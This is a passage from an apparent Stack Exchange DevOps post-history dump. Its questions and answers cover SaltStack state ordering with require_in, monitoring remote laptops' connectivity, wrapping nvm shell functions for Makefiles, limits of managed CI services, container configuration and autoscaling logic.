ms&#xD;&#xA;         Changes:&#xD;&#xA;    &#xD;&#xA;    Summary for my-minion-id&#xD;&#xA;    ------------&#xD;&#xA;    Succeeded: 3 (unchanged=3)&#xD;&#xA;    Failed:    0&#xD;&#xA;    ------------&#xD;&#xA;    Total states run:     3&#xD;&#xA;    Total run time:  66.718 ms&#xD;&#xA;&#xD;&#xA;Here, you can see that `/root/b` was ordered before `/root/a` as appropriate, but `/root/c` did not get ordered before `/root/b`.&#xD;&#xA;&#xD;&#xA;So how can I get this to work? I could use `order` instead of `require` and `require_in`, but that would mean I couldn't use `require` targeting any state that uses `order`, which could get quite messy and poorly-defined." ContentLicense="CC BY-SA 3.0" />
  <row Id="3246" PostHistoryTypeId="1" PostId="969" RevisionGUID="b9e38c3b-f1de-4123-a22e-7b38dd32b2c0" CreationDate="2017-04-19T18:06:43.467" UserId="339" Text="Using requisite injection to order states" ContentLicense="CC BY-SA 3.0" />
  <row Id="3247" PostHistoryTypeId="3" PostId="969" RevisionGUID="b9e38c3b-f1de-4123-a22e-7b38dd32b2c0" CreationDate="2017-04-19T18:06:43.467" UserId="339" Text="&lt;configuration-management&gt;&lt;dependency-management&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3248" PostHistoryTypeId="5" PostId="969" RevisionGUID="249a9bb7-5447-4a3d-bc1a-7eae847927eb" CreationDate="2017-04-19T19:18:43.817" UserId="339" Comment="typo" Text="Given three states, `/root/a`, `/root/b` and `/root/c`, I want `/root/c` to execute before `/root/b`, and `/root/b` to execute before `/root/a`.&#xD;&#xA;&#xD;&#xA;Given a Salt SLS file `salt://ordertest/init.sls`:&#xD;&#xA;&#xD;&#xA;    /root/a:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/a&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600 &#xD;&#xA;    &#xD;&#xA;    /root/b:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/b&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600 &#xD;&#xA;    &#xD;&#xA;    /root/c:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/c&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;&#xD;&#xA;I can test to see the order in which the listed states would be applied. You'll see `/root/a` precede `/root/b`, and `/root/b` preceed `/root/c`.&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id state.apply ordertest test=True&#xD;&#xA;    my-minion-id:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/a&#xD;&#xA;        Function: file.managed&#xD;&#xA;        Result: None&#xD;&#xA;         Comment: The file /root/a is set to be changed&#xD;&#xA;         Started: 13:54:23.538144&#xD;&#xA;        Duration: 31.765 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/b&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/b is set to be changed&#xD;&#xA;         Started: 13:54:23.570065&#xD;&#xA;        Duration: 16.632 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/c&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/c is set to be changed&#xD;&#xA;         Started: 13:54:23.586831&#xD;&#xA;        Duration: 17.124 ms&#xD;&#xA;         Changes:&#xD;&#xA;&#xD;&#xA;    Summary for my-minion-id&#xD;&#xA;    ------------&#xD;&#xA;    Succeeded: 3 (unchanged=3)&#xD;&#xA;    Failed:    0&#xD;&#xA;    ------------&#xD;&#xA;    Total states run:     3&#xD;&#xA;    Total run time:  65.521 ms&#xD;&#xA;&#xD;&#xA;If we use `require` to directly tell `/root/b` to require `/root/`, and `/root/c` to require `/root/b`:&#xD;&#xA;&#xD;&#xA;    /root/a:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/a&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;        - require:&#xD;&#xA;          - /root/b&#xD;&#xA; &#xD;&#xA;    /root/b:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/b&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;        - require:&#xD;&#xA;          - /root/c&#xD;&#xA; &#xD;&#xA;    /root/c:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/c&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;&#xD;&#xA;We get the ordering we want:&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id state.apply ordertest test=True&#xD;&#xA;    my-minion-id:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/c&#xD;&#xA;        Function: file.managed&#xD;&#xA;           Result: None&#xD;&#xA;         Comment: The file /root/c is set to be changed&#xD;&#xA;         Started: 13:32:33.624165&#xD;&#xA;        Duration: 31.807 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/b&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/b is set to be changed&#xD;&#xA;         Started: 13:32:33.656166&#xD;&#xA;        Duration: 17.247 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/a&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/a is set to be changed&#xD;&#xA;         Started: 13:32:33.673589&#xD;&#xA;        Duration: 17.126 ms&#xD;&#xA;         Changes:&#xD;&#xA;&#xD;&#xA;    Summary for my-minion-id&#xD;&#xA;    ------------&#xD;&#xA;    Succeeded: 3 (unchanged=3)&#xD;&#xA;    Failed:    0&#xD;&#xA;     ------------&#xD;&#xA;    Total states run:     3&#xD;&#xA;    Total run time:  66.180 ms&#xD;&#xA;&#xD;&#xA;But if we try to use `require_in` to have `/root/c` place itself before `/root/b`:&#xD;&#xA;&#xD;&#xA;    /root/a:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/a&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;        - require:&#xD;&#xA;          - /root/b&#xD;&#xA; &#xD;&#xA;    /root/b:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/b&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA; &#xD;&#xA;    /root/c:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/c&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;        - require_in:&#xD;&#xA;          - /root/b&#xD;&#xA;&#xD;&#xA;It doesn't work; `/root/c` stays at the end of the sequence:&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/b&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/b is set to be changed&#xD;&#xA;         Started: 13:36:54.037214&#xD;&#xA;        Duration: 32.401 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/a&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/a is set to be changed&#xD;&#xA;         Started: 13:36:54.069797&#xD;&#xA;        Duration: 16.968 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/c&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/c is set to be changed&#xD;&#xA;         Started: 13:36:54.086908&#xD;&#xA;        Duration: 17.349 ms&#xD;&#xA;         Changes:&#xD;&#xA;    &#xD;&#xA;    Summary for my-minion-id&#xD;&#xA;    ------------&#xD;&#xA;    Succeeded: 3 (unchanged=3)&#xD;&#xA;    Failed:    0&#xD;&#xA;    ------------&#xD;&#xA;    Total states run:     3&#xD;&#xA;    Total run time:  66.718 ms&#xD;&#xA;&#xD;&#xA;Here, you can see that `/root/b` was ordered before `/root/a` as appropriate, but `/root/c` did not get ordered before `/root/b`.&#xD;&#xA;&#xD;&#xA;So how can I get this to work? I could use `order` instead of `require` and `require_in`, but that would mean I couldn't use `require` targeting any state that uses `order`, which could get quite messy and poorly-defined." ContentLicense="CC BY-SA 3.0" />
  <row Id="3249" PostHistoryTypeId="2" PostId="970" RevisionGUID="b60e9a01-016e-4094-b825-56e3d5c7a07c" CreationDate="2017-04-19T20:11:57.107" UserId="2422" Text="I have a need to monitor laptops both Linux and Windows that are deployed to remote locations which we don't have physical access to all the time.&#xD;&#xA;&#xD;&#xA;The laptops are used for different services but need Internet access, what we would like to have is a solution to alert us when a Internet has lost Internet connection&#xD;&#xA;&#xD;&#xA;For web servers we use nagios and pingdom but wondering if someone has come across a solution that is lightweight and for laptops&#xD;&#xA;&#xD;&#xA;Ideally having a dashboard to view what laptops are connected would be the best" ContentLicense="CC BY-SA 3.0" />
  <row Id="3250" PostHistoryTypeId="1" PostId="970" RevisionGUID="b60e9a01-016e-4094-b825-56e3d5c7a07c" CreationDate="2017-04-19T20:11:57.107" UserId="2422" Text="Laptop Internet connection monitoring" ContentLicense="CC BY-SA 3.0" />
  <row Id="3251" PostHistoryTypeId="3" PostId="970" RevisionGUID="b60e9a01-016e-4094-b825-56e3d5c7a07c" CreationDate="2017-04-19T20:11:57.107" UserId="2422" Text="&lt;monitoring&gt;&lt;network-monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3254" PostHistoryTypeId="2" PostId="971" RevisionGUID="aebf8d9c-1d14-42cf-8671-b66ef8c831fc" CreationDate="2017-04-20T02:54:38.297" UserId="339" Text="I've started abusing [SyncThing](https://syncthing.net) for this purpose (among others), configuring it as a system service on laptops, then locking down it's UI to prevent it from being able to be used by a local connection originator to manipulate or access files. I get connectivity monitoring and robust `rsync`-like backup of field data.&#xA;&#xA;It's fantastic at punching through difficult network conditions, so once you peer a node with a central node (say, a backup landing pad itself backed up via more conventional means), you can use Syncthing's API on your landing pad node to track connectivity.&#xA;&#xA;If you're looking for end-to-end IP connectivity, and not just &quot;can the remote host reach the Internet at all&quot; knowledge, you can disable NAT traversal and relay use, at which point there will need to be a clean, unfirewalled path between the two nodes.&#xA;&#xA;The downside is that SyncThing is *very* much a rapidly-developed project, with the issues that carries with it." ContentLicense="CC BY-SA 3.0" />
  <row Id="3255" PostHistoryTypeId="2" PostId="972" RevisionGUID="558f324a-0fc7-457b-a9a7-d09a6a571f1f" CreationDate="2017-04-20T03:02:04.480" UserId="339" Text="This turns out to be a [known issue](https://github.com/saltstack/salt/issues/40771#issuecomment-295406214):&#xA;&#xA;&gt; The require_in requisite does not support everything that require does, mainly id does not support sls or state_id without specifying a state module.&#xA;&#xA;So by modifying our SLS file to include the state module (specifying `file: /root/b` as the `require_in` target instead of simply `/root/b`), we get the correct result.&#xA;&#xA;I don't know if the other requisite injectors (`watch_in`, etc.) have the same limitations, so I will likely standardize my coding style on explicitly including module names in such identifiers." ContentLicense="CC BY-SA 3.0" />
  <row Id="3256" PostHistoryTypeId="2" PostId="973" RevisionGUID="233f48e4-51ba-4ab2-aaf2-419ccfceb65c" CreationDate="2017-04-20T08:17:56.197" UserId="271" Text="The problem can easily be solved using the following components:&#xD;&#xA;&#xD;&#xA;- On the instances serving your *webapp* continue to monitor the number of incoming requests – and anything else you see fit.&#xD;&#xA;&#xD;&#xA;- Publish the number of incoming requests to a monitoring system. If it is not yet implemented, this step will improve your monitoring capacities, and will help you to monitor the load on each hosts as well as host balancing.&#xD;&#xA;&#xD;&#xA;- From the incoming requests, deduce an estimated required number of *webaspp* servers needed to serve that work load, as well as the difference between the actual number and the estimated needed number. In the case you describe, it seems that the estimated number is just a scalar function of the total number of incoming requests on a recent period of time. On other systems or after some times, more subtle strategies can be implemented. Monitoring these quantities and the difference could ease the traceability of the auto-scaling strategy, and will monitor its responsivity.&#xD;&#xA;&#xD;&#xA;- Last implement the auto-scaling itself, at this point, this is really just reading some number from your monitoring system and writing it to your scaling system.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3257" PostHistoryTypeId="2" PostId="974" RevisionGUID="5e6b794c-50fb-43ec-917a-79dbf9ca64ff" CreationDate="2017-04-20T09:04:44.900" UserId="271" Text="There are several options that can be used here. Maybe one of the easiest is to install each function as a real script in some directory that is added to the path.  Here is how to do this:&#xD;&#xA;&#xD;&#xA;First, we choose a path name where to store all these functions, it can be a a directory in our project, where other utility scripts used in our Makefile live. We call it *nvm_install_dir*&#xD;&#xA;&#xD;&#xA;Then we write a `_nvm_trampoline` script which use the name it is called as to trigger the right function, and create as many file aliases to `_nvm_trampoline`  as there are functions in the script.  Note the leading underscore, hinting at the “private” character of the script.&#xD;&#xA;&#xD;&#xA;This script can go along the lines of&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    . &quot;${NVM_DIR}/nvm.sh&quot;&#xD;&#xA;    &#xD;&#xA;    if [ &quot;${0##*/}&quot; = '_nvm_driver' ]; then&#xD;&#xA;        : NOP&#xD;&#xA;    else&#xD;&#xA;        eval &quot;${0##*/}&quot; &quot;$@&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Here we use `${0##*/}` to remove any path element from the name under which our script is called.  We install that script under `${nvm_install_dir}` and run once the following utility script:&#xD;&#xA;&#xD;&#xA;    nvm_install_dir='SET-TO-ACTUAL-PARAMETER-VALUE!'&#xD;&#xA;    nvm_file=&quot;${NVM_DIR}/nvm.sh&quot;&#xD;&#xA;    nvm_trampoline='_nvm_trampoline'&#xD;&#xA;    &#xD;&#xA;    nvm_list_functions()&#xD;&#xA;    {&#xD;&#xA;        awk -F'[(][)]' '$1 ~ /^nvm_[^ ]*$/{print($1)}' &quot;${nvm_file}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    nvm_install()&#xD;&#xA;    {&#xD;&#xA;        nvm_list_functions | {&#xD;&#xA;            while read nvm_function; do&#xD;&#xA;                ln\&#xD;&#xA;                    &quot;${nvm_install_dir}/${nvm_driver}&quot;\&#xD;&#xA;                    &quot;${nvm_install_dir}/${nvm_function}&quot;&#xD;&#xA;                chmod 755 &quot;${nvm_install_dir}/${nvm_function}&quot;&#xD;&#xA;            done&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    nvm_install&#xD;&#xA;&#xD;&#xA;It is a good practice to pack the *nvm_install* procedure in a real function instead of just inlining its body in the script, as it gives better testing options. (It is easier to comment out the call to *nvm_install* than the body of the function, if we want to experiment with the script.)&#xD;&#xA;&#xD;&#xA;Ater this, the directory pointed to by *nvm_install_dir* is populated with aliases to `_nvm_trampoline` that are executable and delegate their work to the corresponding function. We only need to add this directory to our *PATH* when running *make*.&#xD;&#xA;&#xD;&#xA;A second approach would be to generate pseudo commands for each *nvm* functions, with the following script:&#xD;&#xA;&#xD;&#xA;    nvm_file=&quot;${NVM_DIR}/nvm.sh&quot;&#xD;&#xA;    &#xD;&#xA;    nvm_list_functions()&#xD;&#xA;    {&#xD;&#xA;        awk -F'[(][)]' '$1 ~ /^nvm_[^ ]*$/{print($1)}' &quot;${nvm_file}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    nvm_generate()&#xD;&#xA;    {&#xD;&#xA;        nvm_list_functions |  {&#xD;&#xA;            while read nvm_function; do&#xD;&#xA;                nvm_FUNCTION=$(printf '%s' &quot;${nvm_function}&quot; | tr '[a-z]' '[A-Z]')&#xD;&#xA;                printf '%s=sh -c \047source &quot;${NVM_DIR}/nvm.sh&quot;; %s &quot;$$@&quot;\047 %s\n'\&#xD;&#xA;                       &quot;${nvm_FUNCTION}&quot;\&#xD;&#xA;                       &quot;${nvm_function}&quot;\&#xD;&#xA;                       &quot;${nvm_function}&quot;&#xD;&#xA;            done&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    nvm_generate&#xD;&#xA;&#xD;&#xA;The output of this program consists of *make* variable assignments&#xD;&#xA;&#xD;&#xA;    NVM_ECHO=sh -c 'source &quot;${NVM_DIR}/nvm.sh&quot;; nvm_echo &quot;$$@&quot;' nvm_echo&#xD;&#xA;    NVM_CD=sh -c 'source &quot;${NVM_DIR}/nvm.sh&quot;; nvm_cd &quot;$$@&quot;' nvm_cd&#xD;&#xA;    …&#xD;&#xA;    NVM_COMMAND_INFO=sh -c 'source &quot;${NVM_DIR}/nvm.sh&quot;; nvm_command_info &quot;$$@&quot;' nvm_command_info&#xD;&#xA;    …&#xD;&#xA;&#xD;&#xA;It can be saved to a file `Makefile.nvm` or `nvmtools.mk` that can be included our Makefiles. Calling the function `nvm_command_info` is done with&#xD;&#xA;&#xD;&#xA;    ${NVM_COMMAND_INFO} arg1 arg2 …&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;Using a customised bash profile is possible, using the assignment `SHELL=/bin/bash --rcfile PATH-TO-CUSTOM-PROFILE -i` but I would consider this esoteric enough to puzzle the maintenance programmer." ContentLicense="CC BY-SA 3.0" />
  <row Id="3258" PostHistoryTypeId="2" PostId="975" RevisionGUID="b0720644-b5b3-46b7-84e2-e1b7caf00db4" CreationDate="2017-04-20T10:05:51.997" UserId="271" Text="You are running into the limitations of managed services. Many managed services are great to start experimenting with ideas and can show a great value for the casual user. But they trade ease of use for flexibility and functionality, therefore as soon as we start to have *serious* needs and are ready to spent a significant amount of effort building up on these ideas, the first move we should do is to opt for a flexible a fully functional solution.  In my judgement, you are hitting the line where you need to look for something else – and you will notice that you need to learn a different tool, because that's not free software and you cannot run it yourself.&#xD;&#xA;&#xD;&#xA;Here we are speaking about Circle CI, but the following limitations are common to many managed services:&#xD;&#xA;&#xD;&#xA;- Managed services put a hard contraint on software versions they allow us to use.  These constraints may match what we need today, but does not need to at a later time. They may be already out of sync today. In any case this is often a show stopper, because being unable to use the same software versions in development environment and in managed environment is a useless source of bugs and difficulties of all sort.&#xD;&#xA;&#xD;&#xA;- Managed services provide restricted access to their functionalities. This is the problem you are facing here: you want to run docker, but you do not have access to the daemon, only to a subset of its functions.  These limitations are sometimes not well documented nor brought in full light by advertisement material. This just means work spent on understanding and integrating these features is worthless until we leave the managed service for another better solution.&#xD;&#xA;&#xD;&#xA;- Managed services provide restricted access to the data we store there. So, to take the example of managed services for logging and monitoring, data access is slow, inconvenient and expansive. If we run our infrastructure, we are free to run any fancy custom analysis on our monitoring artefacts, because data is easier to reach.&#xD;&#xA;&#xD;&#xA;Note that this is not a case against managed services. A hand of them are able to combine ease of use together with flexibility and functionality. But many of these service trade ease of use for flexibility and functionality: we can use them as an expedient to quickly build a simple functionality but they will prevent us to walk beyond that point. We need to be aware of this trade-off and consider." ContentLicense="CC BY-SA 3.0" />
  <row Id="3264" PostHistoryTypeId="5" PostId="969" RevisionGUID="abdd28fb-bb0d-420c-9dd1-05633374e0cb" CreationDate="2017-04-20T12:38:19.480" UserId="339" Comment="Formatting misalignment in output columns for a couple lines." Text="Given three states, `/root/a`, `/root/b` and `/root/c`, I want `/root/c` to execute before `/root/b`, and `/root/b` to execute before `/root/a`.&#xD;&#xA;&#xD;&#xA;Given a Salt SLS file `salt://ordertest/init.sls`:&#xD;&#xA;&#xD;&#xA;    /root/a:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/a&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600 &#xD;&#xA;    &#xD;&#xA;    /root/b:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/b&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600 &#xD;&#xA;    &#xD;&#xA;    /root/c:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/c&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;&#xD;&#xA;I can test to see the order in which the listed states would be applied. You'll see `/root/a` precede `/root/b`, and `/root/b` preceed `/root/c`.&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id state.apply ordertest test=True&#xD;&#xA;    my-minion-id:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/a&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/a is set to be changed&#xD;&#xA;         Started: 13:54:23.538144&#xD;&#xA;        Duration: 31.765 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/b&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/b is set to be changed&#xD;&#xA;         Started: 13:54:23.570065&#xD;&#xA;        Duration: 16.632 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/c&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/c is set to be changed&#xD;&#xA;         Started: 13:54:23.586831&#xD;&#xA;        Duration: 17.124 ms&#xD;&#xA;         Changes:&#xD;&#xA;&#xD;&#xA;    Summary for my-minion-id&#xD;&#xA;    ------------&#xD;&#xA;    Succeeded: 3 (unchanged=3)&#xD;&#xA;    Failed:    0&#xD;&#xA;    ------------&#xD;&#xA;    Total states run:     3&#xD;&#xA;    Total run time:  65.521 ms&#xD;&#xA;&#xD;&#xA;If we use `require` to directly tell `/root/b` to require `/root/`, and `/root/c` to require `/root/b`:&#xD;&#xA;&#xD;&#xA;    /root/a:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/a&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;        - require:&#xD;&#xA;          - /root/b&#xD;&#xA; &#xD;&#xA;    /root/b:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/b&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;        - require:&#xD;&#xA;          - /root/c&#xD;&#xA; &#xD;&#xA;    /root/c:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/c&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;&#xD;&#xA;We get the ordering we want:&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id state.apply ordertest test=True&#xD;&#xA;    my-minion-id:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/c&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/c is set to be changed&#xD;&#xA;         Started: 13:32:33.624165&#xD;&#xA;        Duration: 31.807 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/b&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/b is set to be changed&#xD;&#xA;         Started: 13:32:33.656166&#xD;&#xA;        Duration: 17.247 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/a&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/a is set to be changed&#xD;&#xA;         Started: 13:32:33.673589&#xD;&#xA;        Duration: 17.126 ms&#xD;&#xA;         Changes:&#xD;&#xA;&#xD;&#xA;    Summary for my-minion-id&#xD;&#xA;    ------------&#xD;&#xA;    Succeeded: 3 (unchanged=3)&#xD;&#xA;    Failed:    0&#xD;&#xA;     ------------&#xD;&#xA;    Total states run:     3&#xD;&#xA;    Total run time:  66.180 ms&#xD;&#xA;&#xD;&#xA;But if we try to use `require_in` to have `/root/c` place itself before `/root/b`:&#xD;&#xA;&#xD;&#xA;    /root/a:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/a&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;        - require:&#xD;&#xA;          - /root/b&#xD;&#xA; &#xD;&#xA;    /root/b:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/b&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA; &#xD;&#xA;    /root/c:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/c&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;        - require_in:&#xD;&#xA;          - /root/b&#xD;&#xA;&#xD;&#xA;It doesn't work; `/root/c` stays at the end of the sequence:&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/b&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/b is set to be changed&#xD;&#xA;         Started: 13:36:54.037214&#xD;&#xA;        Duration: 32.401 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/a&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/a is set to be changed&#xD;&#xA;         Started: 13:36:54.069797&#xD;&#xA;        Duration: 16.968 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/c&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/c is set to be changed&#xD;&#xA;         Started: 13:36:54.086908&#xD;&#xA;        Duration: 17.349 ms&#xD;&#xA;         Changes:&#xD;&#xA;    &#xD;&#xA;    Summary for my-minion-id&#xD;&#xA;    ------------&#xD;&#xA;    Succeeded: 3 (unchanged=3)&#xD;&#xA;    Failed:    0&#xD;&#xA;    ------------&#xD;&#xA;    Total states run:     3&#xD;&#xA;    Total run time:  66.718 ms&#xD;&#xA;&#xD;&#xA;Here, you can see that `/root/b` was ordered before `/root/a` as appropriate, but `/root/c` did not get ordered before `/root/b`.&#xD;&#xA;&#xD;&#xA;So how can I get this to work? I could use `order` instead of `require` and `require_in`, but that would mean I couldn't use `require` targeting any state that uses `order`, which could get quite messy and poorly-defined." ContentLicense="CC BY-SA 3.0" />
  <row Id="3265" PostHistoryTypeId="2" PostId="977" RevisionGUID="5276e3bc-4820-4eeb-b981-10a01f564207" CreationDate="2017-04-20T15:01:32.397" UserId="2436" Text="I've been reading lately a debate between where should properties that depend on the environment be stored.&#xD;&#xA;&#xD;&#xA;The classical way is to have multiple property files, one by environment, and based on an environment variable (DEV, PROD...), you choose where to read them when starting the application (like with Spring profiles).&#xD;&#xA;&#xD;&#xA;On the other hand, if you are using a container to deploy your application, it's said the this kind of configuration should come from the environment itself (using environment variables that the application reads), so the image doesn't change between environments. &#xD;&#xA;&#xD;&#xA;What are the pros and the cons of each approach? Is there a &quot;best&quot; approach for the container scenario?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3266" PostHistoryTypeId="1" PostId="977" RevisionGUID="5276e3bc-4820-4eeb-b981-10a01f564207" CreationDate="2017-04-20T15:01:32.397" UserId="2436" Text="Where should I put my application configuration?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3267" PostHistoryTypeId="3" PostId="977" RevisionGUID="5276e3bc-4820-4eeb-b981-10a01f564207" CreationDate="2017-04-20T15:01:32.397" UserId="2436" Text="&lt;docker&gt;&lt;containers&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3268" PostHistoryTypeId="5" PostId="977" RevisionGUID="6c2dd596-7b0c-45a9-b917-1e23c9c7f5f9" CreationDate="2017-04-20T16:19:16.183" UserId="40" Comment="added 4 characters in body" Text="I've been reading lately a debate about &quot;*Where should properties that depend on the environment be stored?*&quot;.&#xD;&#xA;&#xD;&#xA;The classical way is to have multiple property files, one by environment, and based on an environment variable (DEV, PROD...), you choose where to read them when starting the application (like with Spring profiles).&#xD;&#xA;&#xD;&#xA;On the other hand, if you are using a container to deploy your application, it's said that this kind of configuration should come from the environment itself (using environment variables that the application reads), so the image doesn't change between environments. &#xD;&#xA;&#xD;&#xA;What are the pros and the cons of each approach? Is there a &quot;best&quot; approach for the container scenario?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3273" PostHistoryTypeId="2" PostId="979" RevisionGUID="06241434-a57e-49d0-a230-d321595c5cbf" CreationDate="2017-04-20T18:49:18.687" UserId="47" Text="One possible approach is to allow such instances to make demands for new instances based on local request counters, but instead of directly reacting to those demands you would funnel them to a central instance creation logic.&#xD;&#xA;&#xD;&#xA;That logic would immediately react to the first demand, but also start a &quot;cool off&quot; countdown timer. Any subsequent demand received while the timer is still active would be considered to be caused by the same traffic spike that triggered the first demand and would thus be ignored.&#xD;&#xA;&#xD;&#xA;A similar logic could be used to gradually shutdown idle instances, if the local counters remain below a minimum level.&#xD;&#xA;&#xD;&#xA;**Note:** the local counters would need to operate in a leaky bucket manner or be periodically reset for such approach to be possible - so that the demands are repeated if the traffic remains high.&#xD;&#xA;&#xD;&#xA;Another possible approach is to just publish the local counters. A central piece of logic would periodically collect and aggregate these local counter values in order to decide on lauching new instances or shutting down existing ones. &#xD;&#xA;&#xD;&#xA;The advantage of such method is the lack of a *single* global counter which would require write access locking (to prevent corruption) which would be a scalability limitation. &#xD;&#xA;&#xD;&#xA;This method is described in mode details in [Sharding 